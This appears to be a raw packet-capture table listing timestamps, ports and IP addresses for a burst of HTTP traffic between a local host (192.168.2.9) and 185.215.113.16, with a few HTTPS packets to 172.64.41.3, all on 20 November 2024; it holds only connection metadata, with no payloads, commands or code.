Nov 20, 2024 16:51:08.024029016 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.024127007 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.024261951 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.024316072 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.165580034 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.165672064 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.166048050 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.166062117 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.166074038 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.166085958 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.166100025 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.166131020 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.166182995 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.167308092 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.167327881 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.167367935 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.167432070 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.168153048 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.168207884 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.168303967 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.168440104 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.169277906 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.169348001 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.169431925 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.169620037 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.170129061 CET	443	49786	172.64.41.3	192.168.2.9
Nov 20, 2024 16:51:08.170228004 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.170241117 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.170289993 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.170289993 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.170303106 CET	443	49786	172.64.41.3	192.168.2.9
Nov 20, 2024 16:51:08.170388937 CET	49786	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:51:08.171627045 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.171725035 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.171777964 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.171945095 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.173243999 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.173255920 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.173305988 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.173305988 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.174611092 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.174624920 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.174685001 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.174685001 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.175842047 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.175939083 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.176132917 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.176191092 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.177576065 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.177644968 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.177695036 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.177809954 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.178642988 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.178747892 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.178792000 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.178853989 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.179733038 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.179747105 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.179835081 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.180706978 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.180721998 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.180778980 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.181808949 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.181889057 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.181893110 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.181938887 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.183193922 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.183372974 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.183492899 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.183492899 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.184248924 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.184325933 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.184567928 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.184643984 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.185506105 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.185580015 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.185798883 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.186029911 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.186439991 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.186453104 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.186511993 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.186511993 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.187459946 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.187473059 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.187534094 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.188682079 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.188695908 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.188734055 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.188749075 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.190124989 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.190140009 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.190248966 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.191414118 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.191427946 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.191479921 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.192373037 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.192529917 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.192712069 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.192759991 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.193514109 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.193666935 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.193681955 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.193737030 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.194732904 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.194746971 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.194806099 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.194806099 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.195755005 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.195768118 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.195831060 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.196727037 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.196810961 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.196856022 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.197221041 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.197616100 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.197719097 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.197870970 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.197918892 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.198788881 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.198802948 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.198853970 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.198853970 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.199624062 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.199681997 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.199718952 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.199877024 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.200973988 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.201078892 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.201147079 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.201203108 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.201848984 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.201904058 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.202008963 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.202079058 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.202898979 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.202917099 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.202950954 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.202963114 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.202966928 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.202966928 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.203011036 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.203222036 CET	443	49787	172.64.41.3	192.168.2.9
Nov 20, 2024 16:51:08.203299999 CET	443	49787	172.64.41.3	192.168.2.9
Nov 20, 2024 16:51:08.203366995 CET	49787	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:51:08.205375910 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.205389977 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.205425978 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.205456018 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.206571102 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.206713915 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.206749916 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.206814051 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.207772017 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.207881927 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.207921982 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.208070993 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.209067106 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.209178925 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.209213018 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.209304094 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.210150003 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.210203886 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.210297108 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.210341930 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.211452007 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.211580038 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.211601973 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.211679935 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.212563038 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.212672949 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.212707043 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.212996006 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.213861942 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.213876963 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.213943958 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.213943958 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.214986086 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.215140104 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.215150118 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.215333939 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.216280937 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.216294050 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.216572046 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.217685938 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.217700005 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.217753887 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.217753887 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.218986988 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.219068050 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.219170094 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.219227076 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.219938040 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.220067978 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.220104933 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.220206022 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.221271992 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.221286058 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.221333981 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.221333981 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.222387075 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.222398996 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.222456932 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.222486973 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.223462105 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.223547935 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.223895073 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.223973989 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.224904060 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.225074053 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.225159883 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.225159883 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.226697922 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.226912975 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.363864899 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.363929033 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.363991976 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.364034891 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.364459991 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.364537001 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.364608049 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.364921093 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.365750074 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.365883112 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.366019011 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.366663933 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.366698027 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.366785049 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.368495941 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.368509054 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.368565083 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.369410992 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.369517088 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.369571924 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.369838953 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.370621920 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.370635033 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.370687008 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.370836973 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.371735096 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.371819019 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.371892929 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.372080088 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.373042107 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.373055935 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.373110056 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.373110056 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.374355078 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.374366999 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.374449968 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.375507116 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.375624895 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.375658035 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.375957966 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.376619101 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.376631975 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.376674891 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.376704931 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.377917051 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.378082037 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.378173113 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.379113913 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.379125118 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.379221916 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.379273891 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.380381107 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.380517006 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.380547047 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.380614996 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.381597042 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.381608963 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.381676912 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.382827044 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.382838964 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.382905006 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.382905006 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.383959055 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.383970976 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.384001970 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.384027004 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.385092020 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.385159969 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.385322094 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.385742903 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.386387110 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.386399984 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.386431932 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.386437893 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.386445999 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.386456013 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.386492014 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.386492014 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.387068987 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.387130022 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.387203932 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.387986898 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.388293028 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.388381958 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.395024061 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.395165920 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.395534039 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.395577908 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.395590067 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.395620108 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.395632029 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.395632982 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.395653009 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.395699978 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.396197081 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.396209002 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.396281958 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.396281958 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.397212982 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.397353888 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.397435904 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.398297071 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.398308992 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.398380995 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.398380995 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.399144888 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.399246931 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.399276018 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.399333954 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.400041103 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.400120974 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.400177956 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.400352001 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.401187897 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.401292086 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.401346922 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.401432037 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.402292013 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.402386904 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.402477980 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.402586937 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.403809071 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.403891087 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.403973103 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.404078960 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.404987097 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.404999971 CET	80	49832	185.215.113.16	192.168.2.9
